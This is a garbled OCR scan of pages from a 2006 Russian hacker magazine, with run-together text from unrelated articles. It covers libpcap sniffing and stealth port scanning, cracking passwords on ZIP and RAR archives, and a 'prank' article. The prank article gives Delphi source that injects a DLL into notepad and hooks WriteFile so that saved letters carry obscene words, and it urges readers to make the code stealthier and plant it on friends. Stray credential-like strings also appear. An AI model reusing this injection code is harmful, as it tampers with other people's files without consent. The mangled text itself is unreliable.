быть включен за-/ 080xàêåð 12/96/ 06


взломУчасток исходного кода сканера портов, построенногона библиотеках libpcap и libnetголовочный файл pcap.h. Типичная последовательностьшагов, которую должна выполнить программа, использующаябиблиотеку libpcap для выполнения своей задачи,выглядит так:1. идентифицировать сетевой интерфейс;2. открыть сетевой интерфейс и создать сессию перехвата;3. создать фильтр, если он необходим;4. захватить и обработать пакеты;5. закрыть сессию перехвата.Рассмотрим подробно каждый шаг.Идентификация сетевого интерфейсаСуществует 3 основных способа идентификации сетевогоинтерфейса, на котором будет осуществляться прослушивание.Первый способ — без использования библиотекиlibpcap. Имя интерфейса задается жестко в программе:«#define DEVICE "eth0"». Оно может также передаваться впрограмму пользователем через командную строку.Второй способ — использовать функцию pcap_lookupdev() из библиотеки libpcap:Открытие сетевого интерфейса и создание сессииперехватаОткрывает сетевой интерфейс и создает сессию перехватафункция pcap_open_live(), ее прототип выглядитследующим образом:pcap _ t *pcap _ open _ live(const char *device,int snaplen, int promisc, int to _ ms, char*errbuf)Здесь:device — это имя интерфейса, которое мы определили напервом шаге;snaplen — целое число, определяющее максимальноеколичество байт сетевого пакета, которое будет захватыватьсябиблиотекой;promisc — флаг, переводящий интерфейс в неразборчивыйрежим (promiscuous mode) (1 — установлен, 0 — нет);to_ms — тайм-аут в миллисекундах (0 — чтение осуществляетсядо первой ошибки, -1 — бесконечно);errbuf — буфер, в который заносится сообщение обошибке.Демонстрационный фрагмент кода#include …pcap _ t *handle;char errbuf[PCAP _ ERRBUF _ SIZE];Домашние страницыбиблиотек:www.tcpdump.org— libpcap под UNIX;www.winpcap.org— libpcap под Windows(WinPcap);www.packetfactory.net/libnet — libnet под UNIX;www.packetfactory.net/libnet/dist/deprecated/LibnetNT.zip — libnet подWindows;www.infonexus.com— домашняя страницаМайка Шифмана.#include …char errbuf[PCAP _ ERRBUF _ SIZE];char *dev = pcap _ lookupdev(errbuf);if (dev == NULL) {fprintf(stderr, "%s", errbuf); exit(-1);}В этом случае переменной dev присвоится имя подходящегоинтерфейса. В буфер errbuf будет переданоописание ошибки, если таковая возникнет при работеpcap_lookupdev(). Прототип функции pcap_lookupdev()выглядит следующим образом:char *pcap _ lookupdev(char *errbuf)Третий способ — предложить пользователю выбратьинтерфейс из предложенного списка. Такой список формируетфункция pcap_findalldevs(), ее прототип:pcap _ findalldevs(pcap _ if _ t **alldevsp, char*errbuf)Подробности об этой функции смотри в мануалах. Замечу,что функция pcap_findalldevs() отсутствует в устаревшихверсиях библиотеки libpcap.handle = pcap _ open _ live(dev, BUFSIZ, 1, 0,errbuf);if (handle == NULL) {fprintf(stderr, "%s", errbuf);exit(-1);}Здесь открывается интерфейс, имя которого указано вdev, и говорится, сколько байт пакета захватывать (значениеBUFSIZ определено в pcap.h). Сетевой интерфейс переключаетсяв неразборчивый режим. Также отмечается,что данные будут читаться до тех пор, пока не произойдетошибка.Создание фильтраДля включения фильтра в программу существуют двеосновные функции: pcap_compile() и pcap_setfilter(). Выражениедля фильтра хранится в обыкновенной строке (массивесимволов). Синтаксис таких выражений полностьюсоответствует тому синтаксису, который используется утилитойtcpdump. Перед тем как применить фильтр, его нужно«скомпилировать». Это делает функция pcap_compile().Ее прототип выглядит следующим образом:int pcap _ compile(pcap _ t *p, struct bpf _program *fp, char *str, int optimize, bpf _ u _int32 netmask)Первый аргумент — это дескриптор открытой сессии.Второй аргумент — указатель на область в памяти, где будетхраниться «скомпилированная» версия нашего филь-В моей книге «Программированиебоевогософта под Linux» тысможешь найти болееподробную информациюо программированиис использованиембиблиотек libpcap иlibnet.На DVD лежат исходныекоды снифера(sklsniff_pcap.c), ARPспуфера(arpspoofer.c),сканера портов(plscan.c), а такжепоследние версии библиотекlibpcap и libnetпод UNIX и Windows.xàêåð 12/96/ 06/081


взломДомашняя страничка автора библиотеки libnet Майка ШифманаРаботает пассивный снифер, написанный с использованиембиблиотеки libpcap. В командной строке задан фильтр: захватыватьтолько ICMP-пакеты и показывать дамп (-d) hex&asciiтра. Далее идет само выражение фильтра ввиде обычной строки. Следующий параметропределяет, нужно ли оптимизировать нашевыражение (0 — нет, 1 — да). Последнийпараметр — маска сети, к которой применяетсянаш фильтр. Функция возвращает –1 вслучае ошибки, все другие значения говорятоб успешном завершении.После того как выражение «скомпилировано»,его нужно применить, что осуществляетсяс помощью функции pcap_setfilter().Ее прототип выглядит так:int pcap _ setfilter(pcap _ t *p,struct bpf _ program *fp)Первый аргумент — это дескриптор открытойсессии, второй — указатель на «скомпилированную»версию выражения для фильтра(как правило, второй аргумент функцииpcap_compile()).Демонстрационный фрагмент кода#include …pcap _ t *handle; // дескриптор сессииchar dev[] = "eth0"; /* сетевой интерфейс,на котором будем слушать */char errbuf[PCAP _ ERRBUF _ SIZE]; /*буфер под описание ошибки */struct bpf _ program filter; /* скомпилированноевыражение для фильтра*/сhar filter _ app[] = "udp dst port 53";/* выражение для фильтра */bpf _ u _ int32 mask; /* сетевая масканашего интерфейса */bpf _ u _ int32 net; /* IP-адрес нашегоинтерфейса */pcap _ lookupnet(dev, &net, &mask,errbuf);if (dev == NULL) {fprintf(stderr, "%s", errbuf);exit(-1);}handle = pcap _ open _ live(dev,BUFSIZ, 1, 0, errbuf);if (handle == NULL) {fprintf(stderr, "%s", errbuf);exit(-1);}if (pcap _ compile(handle, &filter,filter _ app, 0, mask) == -1) {fprintf(stderr, "%s", pcap _geterr(handle));exit(-1);}if (pcap _ setfilter(handle, &filter)== -1) {fprintf(stderr, "%s", pcap _geterr(handle));exit (-1);}Эта программа подготавливает перехватчикUDP-пакетов, идущих на 53‐й порт.Пример содержит две функции, которые мыеще не рассматривали: pcap_lookupnet() иpcap_geterr().Первая функция необходима для определениямаски сети, которую затем нужноподставить в последний параметр функцииpcap_compile(). Прототип функции:int pcap _ lookupnet(const char*device, bpf _ u _ int32 *netp, bpf _u _ int32 *maskp, char *errbuf)Хотя нам требуется только маска сети, нодля полноты картины мы также определяемIP-адрес.Функция pcap_geterr() возвращает описаниеошибки, в качестве параметра она принимаетдескриптор открытой сессии.Захват и обработка пакетовДля перехвата пакетов может использоватьсяодна из четырех функций: pcap_next(), pcap_next_ex(), pcap_dispatch() или pcap_loop().Первые две функции за один вызов захватываюттолько по одному пакету. Вот ихпрототипы:const u _ char *pcap _ next(pcap _ t*p, struct pcap _ pkthdr *h)int pcap _ next _ ex(pcap _ t *p,struct pcap _ pkthdr **pkt _ header,const u _ char **pkt _ data)Первый аргумент в обеих функциях — это дескриптороткрытой сессии. Второй аргумент— это указатель на структуру, описывающуюпринятый пакет (определение структурысмотри ниже в этом разделе). Третий аргументимеет только вторая функция — этоуказатель на область памяти, где сохраненпринятый пакет.Первая функция возвращает указатель наобласть памяти, в которой сохранен принятыйпакет. Вторая функция возвращает одноиз следующих числовых значений: 1 — пакетбыл прочитан; 2 — время ожидания истекло;-1 — произошла ошибка; -2 — пакетыпрочитаны из сохраненного файла и большене доступны.Если поместить эти функции в цикл, томожно организовать перехват заданногоколичества пакетов. Но лучше всего для циклическогоперехвата использовать функцииpcap_loop() или pcap_dispatch().Эти две функции имеют фактически идентичныепрототипы:int pcap _ loop(pcap _ t *p, int cnt,pcap _ handler callback, u _ char*user)int pcap _ dispatch(pcap _ t *p, intcnt, pcap _ handler callback, u _ char*user)Первый аргумент — это дескриптор открытойсессии. Второй аргумент — это целое число,/ 082xàêåð 12/96/ 06


взломуказывающее, сколько пакетов требуетсяперехватить (–1 обозначает, что перехватдолжен продолжаться, пока не произойдетошибка). Третий аргумент — это имяcallback-функции, которая автоматическибудет вызываться библиотекой libpcapкаждый раз, когда будет приходить очереднойпакет. Последний аргумент можетиспользоваться для передачи каких‐либоданных в callback-функцию или устанавливаетсяв NULL.Обе функции возвращают следующиезначения: 0 — перехвачено cnt пакетов; -1— произошла ошибка; -2 — цикл был оборванфункцией pcap_breakloop() (существует тольков новых версиях библиотеки libpcap).Единственное различие между этими двумяфункциями в том, как они обрабатывают таймаут,величина которого задается при вызовеpcap_open_live(). Функция pcap_loop(), в отличиеот pcap_dispatch(), игнорирует тайм-ауты.Подробности смотри в man pcap.Callback-функция — это не любая функцияпроизвольного формата, она имеет свойпрототип:void process _ packet (u _ char *user,const struct pcap _ pkthdr *header,const u _ char *packet)Первый аргумент — это указатель на данные,которые передаются в callback-функцию изпоследнего аргумента функции pcap_loop().Второй аргумент — указатель на структуруpcap_pkthdr, которая описывает захваченныйпакет. Эта структура определена в pcap.hследующим образом:struct pcap _ pkthdr {struct timeval ts; /* временнаяметка */bpf _ u _ int32 caplen; /* длина захваченныхданных */bpf _ u _ int32 len; /* длина этогопакета */};Последний аргумент указывает на буфер,который содержит весь пакет, перехваченныйс помощью pcap_loop(). Callbackфункцияне возвращает никакого значения(void).В callback-функции должна осуществлятьсяобработка принятых пакетов. Делается этоточно так же, как мы это делали в примерахбез использования библиотеки libpcap, тоесть определяются необходимые структурызаголовков сетевых пакетов и производитсяразбор принятого пакета на эти структуры,а значения полей выводятся на экран.Закрытие сессии перехватаПеред завершением работы следует закрытьсессию. Это делается с помощью функцииpcap_close(), которая имеет следующийпрототип:void pcap _ close(pcap _ t *p)Единственный аргумент функции — это дескрипторсессии, которую нужно закрыть.Компиляция программ, использующих библиотекуlibpcap, осуществляется с указаниемключа — lpcap. Для нашего снифера этовыглядит так:# gcc sklsniff _ pcap.c -o sklsniff _pcap -lpcapВот пример использования:# ./sklsniff _ pcap tcp and dst host192.168.10.1В этом случае снифер будет отлавливатьтолько TCP-пакеты, отправляемые на узел192.168.10.1.Сканер портов с использованиембиблиотек libpcap и libnetНаш сканер портов, использующий методскрытого сканирования (half-open scanning),задействует сразу две библиотеки. Я думаю,ты без труда разберешься в его исходномкоде. Компиляция осуществляется следующимобразом:# gcc plscan.c -o plscan `libnet-config--defines` ` libnet-config --libs``libnet-config --cflags` -lpcap zxàêåð 12/96/ 06/083


Архиваторыпод рентгеном>> взломCyberAnt/ Sation@yandex.ru /За окном тихая темная ночь, и только слабый шум кулера нарушает спокойствие. Ты бросаешь свой взглядна часы в трее и понимаешь, что скоро утро и что снова всЯ ночь прошла в попытках взломать сайт какой‐токонторы. Вдруг курсор твоей мыши замирает возле файла topsecret.rar. Двойной щелчок по имени этого файла,и… перед тобой стандартное окно с предложением ввести пароль. Еще не до конца осознав, что произошло,ты нервно стучишь по клаве: qwerty, 123, asdf, sex, но, кроме сообщения о невозможности извлечения файлов,ничего не видишь. Давай попробуем разобраться, как заполучить заветные файлы TopSecret-архива. Если тывнимательный читатель, то помнишь, что уже была статья, описывающая проги для взлома архивов. Мы рассмотримэтот вопрос в немного другом ракурсе.Зашифрованные архивы и способы их взломаО методах шифрования,применяемых в архиваторахегодня существует довольноC много различных алгоритмовкриптографической защитыинформации. Из числа наиболеесовременных можно выделить 3DES,IDEA, Blowfish, Cast-128 и некоторые из AES,включая новый AES Rijndael наряду с ZIP‐сжатием.А если говорить о методах шифрования,реализованных в программах-архиваторах,то здесь выбор более ограничен. В подавляющембольшинстве случаев в популярных архиваторахреализован какой‐нибудь один метод.Чаще всего ZIP-кодирование или AES Rijndael.Исключение составляет PowerArchiver,в котором пользователю предоставляетсяцелых 5 вариантов кодирования сжатыхданных: Blowfish (128 бит), DES (64 бит),/ 084xàêåðTriple DES (128 бит) и Rijndael AES (128 бит)и обычное ZIP-шифрование. Следуетпризнать, что стандартное ZIP-кодированиене относится сегодня к числу надежных,равно как и шифрование с применениемалгоритма DES (Data Encryption Standard).Последний в течение почти 20 лет оставалсяфедеральным стандартом шифрования, каксамый надежный являлся наиболее частоиспользуемым алгоритмом симметричногоблочного шифрования и применялся многимиструктурами, в том числе банками и службамиобращения финансов. Однако сегодня вычислительныемощности значительно возросли,и уже не составит большого труда перебратьвсе возможные варианты ключей, ведь длинаключа в DES — всего 8 байт. Малый размерключа и низкая скорость шифрования — факторы,которые позволяют быстро взломатьэтот шифр при наличии мощного компа.Начиная с середины 90‐х годов, стали появлятьсякандидаты на замену DES, наиболееизвестные из которых — Triple DES, IDEAи Blowfish. Первый и последний применяютсяи сегодня в разных программных средствахдля шифрования данных, в том числе в архиваторах.А IDEA используется PGP и рядомдругих криптографических программ. TripleDES («тройной DES», так как трижды шифруетинформацию «обычным» алгоритмом DES)свободен от основного недостатка прежнеговарианта — короткого ключа. Здесь ключв 2 раза длиннее, и потому надежность«тройного» DES намного выше. Но Triple DESунаследовал и слабые стороны своего предшественника— отсутствие возможностейдля параллельных вычислений при шифрованиии низкую скорость.12/96/ 06


взломАрхивирование с паролем в WinRar Сходство интерфейса UltimateZip и известного WinZip налицоСовременный 64‐битный блочный шифр Blowfish с ключомпеременной длины от 32 до 48 бит в настоящее времясчитается достаточно сильным алгоритмом. Он былразработан в 1993 году в качестве замены уже существующихалгоритмов и является намного более быстрым,чем DES, Triple DES и IDEA.Однако наиболее надежным сегодня признается Rijndael— новый стандарт шифрования AES. Он имеет 3 размераключа: 128, 192 и 256 бит и обладает массой достоинств.К их числу относятся высокая скорость шифрования,минимальные требования к вычислительным ресурсам,устойчивость ко всем известным атакам и легкая расширяемость(при необходимости можно увеличить размерблока или ключа шифрования). Более того, в ближайшембудущем AES Rijndael останется самым надежным методом,поскольку если даже предположить, что появитсякомпьютер, способный проверить 255 ключей в секунду,то потребуется приблизительно 149 триллионов лет,чтобы определить 128‐битный ключ AES!Шифрование в ZIP-архивахНапомню, что формат ZIP считается мировым стандартомархивирования и обладает самой длинной историей,а архиватор WinZip стал самым скачиваемым продуктом.О его популярности свидетельствует и тот факт, чтобольшинство архивов в интернете имеют формат ZIP.Возможности WinZip достаточно широки для того, чтобыобеспечить надежное и эффективное архивированиеданных. WinZip ориентирован преимущественно наZIP-архивы, но при этом поддерживает и популярныеархивные форматы TAR, GZIP, UUencode, XXencode,BinHex, MIME, ARJ, LZH и ARC. В то же время существеннымнедостатком программы можно считать тот факт, чтоWinZip не работает с широко используемыми архивнымиформатами, к примеру с RAR, ACE и JAR.Но вернемся к теме шифрования данных в WinZIP. Долгоевремя возможность парольной защиты в этом архиваторебыла скорее маркетинговым ходом, нежели действительнополезной функцией. В интернете существовалоогромное количество прог, позволяющих подобратьпароль к таким архивам за считанные часы, если неминуты. Ситуация изменилась лишь недавно, с выходомпоследней, девятой версии архиватора. Тогда в WinZipпоявилась поддержка 128- и 256‐битного шифрованияxàêåð 12/96/ 06по алгоритму Rijndael. Процедура кодирования осталасьстоль же простой, что и раньше: требуется тольковыбрать степень шифрования и дважды ввести пароль.Другое дело, что многие юзеры по‐прежнему работают состарыми версиями программы и до сих пор питают иллюзиипо поводу защищенности своих архивов. Остановимсяна этом подробнее.Взлом ZIP-архивовИтак, чтобы взломать ZIP-архив, созданный ранней версиейWinZip, особых усилий не требуется. При наличиисреднестатистического компа скорость перебора паролейдостигает несколько миллионов в секунду. И еслипароль на архив ставил простой смертный, то при такихтемпах перебора подобрать его удается быстро. Уверен,что многим не раз уже приходилось заниматься подобногорода перебором, и никаких вопросов тут возникнутьне должно. А что если не хочется или нет времени тупоперебирать миллионы возможных комбинаций символов?К нашей радости, есть и другой способ. Стоит упомянутьизвестную многим программу Advanced Archive PasswordRecovery от фирмы «Элкомсофт», предназначенную дляподбора паролей ко многим типам архивов. Ей поддерживаютсятакие типы атак:1. банальный перебор паролей;2. перебор паролей по маске;3. перебор паролей по словарю;4. plaintext-атака;5. гарантированная расшифровка WinZip;6. пароль из ключей.Мы подробнее остановимся на plaintext, гарантированнойрасшифровке WinZip и пароле из ключей.Итак, что же это за атака такая — plaintext? Как известно,ZIP-файлы шифруются по довольно сильному алгоритму:пароль не сохраняется внутри архива, а конвертируетсяв 32‐битный ключ, который используется для шифрования.Но этот алгоритм не такой крутой, как, например,DES, RSA, IDEA и т.д. Один из способов взлома защитыZIP-файлов предполагает использование архива с точнойкопией одного из файлов зашифрованного архива,сделанного тем же архиватором и с той же степеньюкомпрессии. Он не должен быть меньше 12 байт. АтакаВремя, необходимоедля полного переборавсех вариантов пароля,растет как степеннаяфункция вместе с ростомдлины пароля.Не забывай, что всяприведенная информацияпредназначенатолько для ознакомленияи предупрежденияошибок при созданииархивов с конфиденциальнойинформацией./ 085


взломРабочее окно Advanced Archive Password RecoveryДо боли знакомое многим окно с требованием ввести парольпроисходит в 2 этапа: отброс заведомонеподходящих ключей, а после — поиск подходящих.На первой фазе работы, котораязанимает от одной до трех минут (это зависитот размера архива с одним файлом и количестватвоей оперативки), оставшееся времяне может быть вычислено, так что большуючасть времени процесс-индикатор держитсяна нуле. К счастью, этот тип атаки не настолькодолог, как простой перебор всех возможныхпаролей, что позволяет использоватьего для более быстрого вскрытия паролей наZIP- и GZIP-архивы. Минусом атаки этого типаявляется то, что нужно иметь незашифрованныйфайл, идентичный зашифрованному, чторедко бывает осуществимо.Теперь поговорим о гарантированной расшифровкеWinZip. Эта атака схожа с предыдущей,однако не требует наличия никакихдополнительных архивов с файлами.В самом же запароленном архиве должнобыть как минимум 5 файлов. Атака работаетс архивами, созданными при помощи WinZipне выше версии 8.0 включительно, а такжес другими архиваторами на основе исходниковInfo-ZIP. Если архив имеет меньше пятифайлов, программа выдаст сообщение обошибке. Атака состоит из трёх этапов: первые2 ищут подходящие ключи, а последнийна основе этих ключей генерирует пароль(не более 10 символов). Первая часть атакиобычно длится несколько минут (прогаможет показывать оставшееся время какнесколько часов, но это теоретический максимум),вторая — около получаса (тут тожене стоит обращать внимания на предсказанияпрограммы), а последняя — 2‐3 минуты.Атака работает с большинством ZIP-архивов,и даже если пароль достаточно длинени не был найден на последней стадии атаки,программа сможет расшифровать архив,просто снимая парольную защиту. Этот типатаки базируется на плохом генератореслучайных чисел, который использовалсяв WinZip до версии 8.1. Однако даже версииWinZip ниже 8.1 в 0,4% случаев генерируют«нормальные» архивы, которые не могутбыть взломаны таким образом. В подобномслучае программа покажет предупреждение,которое означает, что на первой стадииатаки не будет найдено ни одного ключа.И, наконец, о пароле из ключей. Если тывнимательно читал статью, то заметил, чтоописанные выше методы атаки сначалапытаются найти ключи шифрования длязапароленных архивов и расшифровываютсам архив, если не было найдено ниодного пароля. Однако использоватьсяони могут только для архивов с паролямидлинной менее 10 символов. Для архивовс более длинными паролями существуетспециальный тип атаки. Если у тебя естьключи шифрования для запароленногоархива и ты хочешь найти этот длинныйпароль, выбери «Пароль из ключей» в качествеатаки и введи эти ключи на закладкеPlaintext. Обычно эта атака используется,чтобы узнать пароль на архив длинной 14‐15символов. Лучше всего в свойствах атакиИспользование сети для брутфорса RAR-архивовДля ускорения процесса переборапаролей можно использоватьне один комп, а целую сеть.Понятное дело, чем большимколичеством компов ты располагаешь,тем быстрее получишьзаветный пароль. Однако неспеши сразу напрягать всюсеть. Лучше вспомни математикуи попытайся посчитать,сколько времени займетбрутфорс. К примеру, тебеизвестно, что некто в качествепароля к RAR-архиву использовалслово из семи строчныхлатинских букв (всего их 26).Отсюда следует, что парольможет состоять из 8031810176(26х7) всевозможных комбинаций.Проверяя по 20 паролейв секунду, верный будет найденчерез приблизительно 12,7 года(8031810176/20/3600/24/365)!Сомневаюсь, что кто‐то попытаетсяпроделать подобное напрактике :).Ситуация кардинально изменится,если использоватьцелую сеть, скажем, из 80-тикомпов. Несложно посчитать,что в этом случае всекомбинации будут провереныза 0,16 года, что составляетпримерно 58 дней.Вероятно, у тебя возник вопрос,а как же организовать этотсамый перебор по сети. Рассмотримэто на примере прогиAdvanced Archive PasswordRecovery. К сожалению, в нейнет специализированныхвозможностей для брутфорсапо сети, но зато есть функцияуказания набора символови длины пароля для перебора.Установив прогу на каждый компв сети и манипулируя этими параметрами,мы задаем диапазондля перебора. А чтобы не бегатьк каждой машине сети лично,можно воспользоваться специализированнымсофтом./ 086xàêåð 12/96/ 06


взломГрафик времени перебора напоминает — это не что иное, какграфик степенной функции y=cxхb, где c и b — константыРазница во времени брутфорса при использовании 1 PC и 20 PC(на этом рисунке показано время, необходимое для перебора всехкомбинаций символов 0-9 с длиной 7 и 8 цифр)«Как известно, ZIP-файлы шифруютсяпо довольно сильному алгоритму:пароль не сохраняетсявнутри архива, а конвертируетсяв 32‐битный ключ, который используетсядля шифрования»установить её начало с седьмого символапароля, так как его начало может быть восстановленоиз «хвоста». Вводя позицию длястарта, стоит помнить, что в любом случаеатака начинается с конца пароля. Об этомможно говорить часами, но нам давно пораоставить в покое ZIP-архивы и посмотреть,какие сюрпризы приготовили нам другиеархиваторы.xàêåð 12/96/ 06/Взлом RAR-архивов версии 3. XВот и дошла очередь до защищенногопаролем файла topsecret.rar, о котором шларечь в начале статьи. Сказать честно, тутперспективы не такие радужные, как в случаес ZIP-архивами. Говорят, что программерыиз «Элкомсофта» потратили немаловремени в поисках уязвимостей шифрованияв WinRar. К сожалению, результатов этаработа не принесла. Как и в других архивах,защита информации от несанкционированногодоступа осуществляется в WinRarв первую очередь за счет шифрованияданных. Пароль можно установить как поумолчанию (в этом случае архивированиес паролем будет продолжаться до егоотмены), так и непосредственно в процессеархивирования в случае однократногоприменения.При необходимости шифрования имен файловтребуется дополнительное включениесоответствующей опции в диалоге заданияпароля. Зашифрованный в таком режимеархив без пароля невозможно распаковать.Нельзя даже просмотреть список находящихсяв нем файлов.Как уже говорилось выше, в форматеZIP применяется собственный алгоритмшифрования, который в целом считаетсяменее надежным, чем AES-128, используемыйв RAR. Помимо парольной защиты,в среде Windows NT/2000/XP допустимосохранение данных о правах доступа (данныхо владельце, группе, возможностяхи аудит-информацию). Естественно, чтоэто реально только при наличии у пользователядостаточных полномочий. Сохранениеэтой информации может сделатьневозможным обращение других лицк файлам после распаковки (это зависитот файловой системы и собственно правдоступа), но замедляет процесс архивирования/разархивирования.Итак, как ты уже понял, единственн ы йспособ взлома запароленного RAR-архива— банальный брутфорс. К сожалению,в связи с используемым в WinRar методомшифрования скорость перебора паролейне превышает 20 секунд даже на P4 3,8 ГГци 1 Гб DDRII памяти :(. Остается запастисьсловарем для перебора и надеяться, чтоюзер использовал простой и/или короткийпароль.Краткие выводыПросматривая документации к архиваторамс функцией шифрования, очень частоможно прочитать, что архивы с паролямирасшифровать нельзя. Но мы знаем, что этодалеко не всегда так. При работе с конфиденциальнойинформацией это нужнообязательно учитывать.Поэтому, если ты хочешь надежно защититьважную инфу с помощью архиваторов, то:1. применяй архиваторы с самым надежнымметодом шифрования AES Rijndaelс 128‐битным ключом: WinRar, PowerArchiverили UltimateZip;2. старайся выбирать форматы, не поддерживаемыепрограммами восстановленияпаролей, например RAR версий 3.0 и выше,TAR, JAR и др.;3. задавай длинные (не менее восьмисимволов) пароли; с этой позиции подходятлюбые из перечисленных архиваторов,так как в каждом из них допустимая длинапароля превышает 56 символов, что вполнедостаточно;4. останавливай выбор на нетривиальныхпаролях; используй в пароле пробелыи комбинации цифр, символов и букв, чтобыв итоге получалась не фраза из реальныхслов, а абракадабра, — так пароль невозможнобудет подобрать по словарю. z087


взлом— Спорим, я научу егоругаться матом?BUG (O) R/ zona_bugor@bk.ru /НовогоднеезападлоCLAUS, SANTA:SK53074116802Джентльменский набор сюрпризов/ 088xàêåð12/96/ 06


взломВлюбленный хакер набирает текст поздравленияДо новогоднего праздника остались считанные дни, а ты так и не придумал, что подарить своим друзьям и подругам.Покупать что‐то в магазине не прет — нет денег, да и все эти новогодние сувенирчики уже приелись.Посылать попсовые электронные открытки тоже без мазы — скукота, да и только. Сейчас я мигом решу твоипроблемы. Мы создадим оригинальный подарок собственными руками. Во всяком случае, гарантирую, что приправильном применении твой сюрприз будут помнить как минимум год.829151:N4ZIzphlНовый год можно все. МожноВ спалить видеокарту твоего другапод бой курантов, форматнутьвинт во время речи Президента.Но мы не будем заниматься такими жесткимивещами. Наша с тобой задача — слегкапотрепать нервы и повысить настроениедрузьям. А для этого попытаемся написатьновогодний набор сюрпризов, вытворяющихсамые неожиданные вещи после запуска.Как ты помнишь, в прошлом номере я подробноописал работу программ по перехватуAPI методом сплайсинга, с помощью которогомы решили непростую задачу. Сегоднямы вновь используем эту технологию, чтобынаписать пару-тройку оригинальных заподлянскихштучек. Итак, поехали!Великий и могучий…Представь ситуацию: твой приятель, мегахакер,тайно влюблен в прекрасную герлуи пишет ей особенное новогоднее поздравление.Он превзошел сам себя и сочинилсентиментальное стихотворение, котороеможет согреть сердце даже памятнику наглавной улице города. Поклонник надеется,что хотя бы в Новый год он получит вниманиесвоей избранницы. Но как бы не так! Ведь тыгоришь желанием отомстить ему за первоапрельскийдефейс своего сайта :). Я тебев этом немного помогу.Сделаем небольшое техническое отступление,чтобы ты понял смысл наших с тобойдействий. Всем известно, что беднягаnotepad.exe вынес бессчетное количествопыток. Он, пожалуй, главная жертва всехэкспериментов связанных со стороннимипрограммами, которые пишут все, кому нелень. Мы не будем выделяться из толпы, поэтомублокноту еще раз придется потерпеть.Суть нашей первой новогодней шутки будетзаключаться в следующем: при сохранениитекста в файл используется API-функцияWriteFile; мы ее перехватим и изменим указательна записываемые данные. По новомуадресу будет лежать в целом оригинальныйтекст, но с небольшими отличиями — послекаждой запятой наша программа вставитнецензурное слово из трех, четырех или пятибукв на выбор :).А теперь рассмотрим возможные последствиятакого прикола. После умелоговпаривания тобой злостного кода твойничего неподозревающий товарищ решаетсяотправить поздравление на e-mail юнойкрасавице. Предположим, что текст будетследующим:Душещипательное поздравлениеМилая Леночка! Я очень хочу поздравитьтебя с этим прекрасным праздником— Новым годом! Хочу пожелать тебездоровья, счастья и успехов в наступающемгоду! И специально для тебяя сочинил этот, надеюсь, красивыйстих!Я хочу, чтоб на рассветеЛедяного январяТы сказала мне: «Приветик,Милый, я люблю тебя!»Еще раз поздравляю тебя с праздником,родная!Пока я писал этот текст, по моей щекекатилась скупая мужская слеза — сталожалко парня, над которым мы собираемсяпостебаться :). Но что делать: жизнь — суроваяштука. Поэтому идем за пивом, включаеммозг и пишем гениальную программу дляукрощения блокнота.Технику перехвата мы уже освоили в прошломномере, поэтому сейчас нам надоопределиться только с одним вопросом:«Откуда мы узнаем, что процесс notepad.exeзапущен и мы сможем в него внедриться?»Есть вариант с инжектом во все процессыи перехватом функции ZwCreateProcess,но при таком способе от нашего приколабудет очень непросто избавиться и этоперерастет из простой забавы в настоящеевредительство для пользователя. Мы же— народ мирный, поэтому решаем пойтидругим путем. Каждые n секунд будемискать окно с классом Notepad и в случаеуспешного поиска проверим, загружена линаша библиотека в адресное пространствоэтого процесса. Если не загружена, тобудем подгружать ее, а она в свою очередьсделает небольшую пакость :).Вот так будет выглядеть код проекта, следящегоза процессом (полный исходник тыможешь взять на диске):Код незамысловатой следилкиvarhWnd, PID, pHandle: dword;//Функция для проверки наличия модуляmain.dll//в адресном пространстве чужогопроцесса.function IsModuleLoaded (lpPID:dword): boolean;varhSnapshot: dword;Module: TMODULEENTRY32;beginResult:= TRUE;Module. dwSize:= sizeof(MODULEENTRY32);hSnapshot:= reateToolhelp32Snapshot(TH32CS_SNAPMODULE, lpPID);Module32First (hSnapshot, Module);repeatif pos ('main.dll', Module.szModule) > 0 then beginResult:= FALSE;exit;end;until not Module32Next (hSnapshot,Module);end;beginwhile TRUE do beginxàêåð 12/96/ 06/089


взломНеожиданное поздравление от калькулятора Калькулятор, требующий зарегать винду.Используй моинаработки лишьв благих целях, иначеможешь загреметьпо статье 273 УК РФ.Ни автор, ни редакцияза последствиятаких «приколов»ответственности ненесут.Все исходникии бинарники моих«веселых» программты можешь найти нанашем диске.//Запущен ли блокнот?hWnd:= FindWindow ('Notepad', nil);if hWnd 0 then begin//Запущен. Получаем PID процесса.GetWindowThreadProcessId (hWnd, PID);//Включаем нужные привилегии, может не понадобиться,но если в системе//недостаточно прав, то нужно вызывать.EnableDebugPrivilegeEx (INVALID_HANDLE_VALUE);pHandle:= OpenProcess (PROCESS_ALL_ACCESS,FALSE, PID);//Модуль main. dll уже загружен в адресное пространствопроцесса?if IsModuleLoaded (PID) then//Нет? Значит, инжектим его.InjectDll (pHandle, pChar (extractfilepath(paramstr (0)) + '\main. dll'));end;Sleep (3000);end;end.Вот, как видишь, программа каждые 3 секунды ищет запущенныйnotepad.exe, проверяет в нем наличие модуляmain.dll и, если таковой отсутствует, инжектирует егов процесс. Далее привожу самое интересное местоmain.dll (весь код лежит на диске):Заподлянская функция заменыfunction NWriteFile (hFile: THandle;const Buffer; nNumberOfBytesToWrite:DWORD; var lpNumberOfBytesWritten: DWORD;lpOverlapped: POverlapped): BOOL; stdcall;beginasmpushadend;NewBuffer:= StringReplace (pChar (@Buffer),',', ', б#я', [rfReplaceAll, rfIgnoreCase]);// Формируем новую строкуasm// Подмена указателяmov ebx, [NewBuffer]mov Buffer, ebxpopadend;TWriteFile (hFile, Buffer, length (pChar(@Buffer)), lpNumberOfBytesWritten,lpOverlapped);end;Ну вот, с первым новогодним подарочком мы определились.Настало время представить последствия такогозападла. Я знаю, это трудно, но поставь себя на местоюной красавицы Леночки, которая январским утром(поверь, она не будет сидеть за компом в новогоднююночь:)) проверила свою почту и нашла в аттаче нашезамечательное поздравление, (которое, кстати, ты безцензуры можешь лицезреть на скриншоте). Будь я Леночкой,убил бы за такое :).А теперь на полном серьезе рассмотрим техническиенедостатки нашей шутки. Во-первых, если жертва напишетпоздравление непосредственно в почтовике илив web-интерфейсе mail‐сервиса, замены не произойдет.Во-вторых, я намерено не стал скрывать главное окнокак этой, так и последующих программ. Я не троянмейкер,а если ты на свой страх и риск все же хочешь«полноценных» приколов, то модернизировать мойкод — как 2 байта переслать. Теорию я тебе расписал,а на практику у тебя есть как минимум 10 дней. Поэтомудерзай :).К чертям математику…Что такое Новый год? Помимо елки, подарков,шампанского и Деда Мороза, это лишние затраты наподарки и организацию поляны :). Как правила, всефинансы считаются, не отходя от компа, а конкретно— на самом обычном калькуляторе. Интересно, какизменится в лице твой товарищ, когда при подсчетезатрат увидит в числовом поле 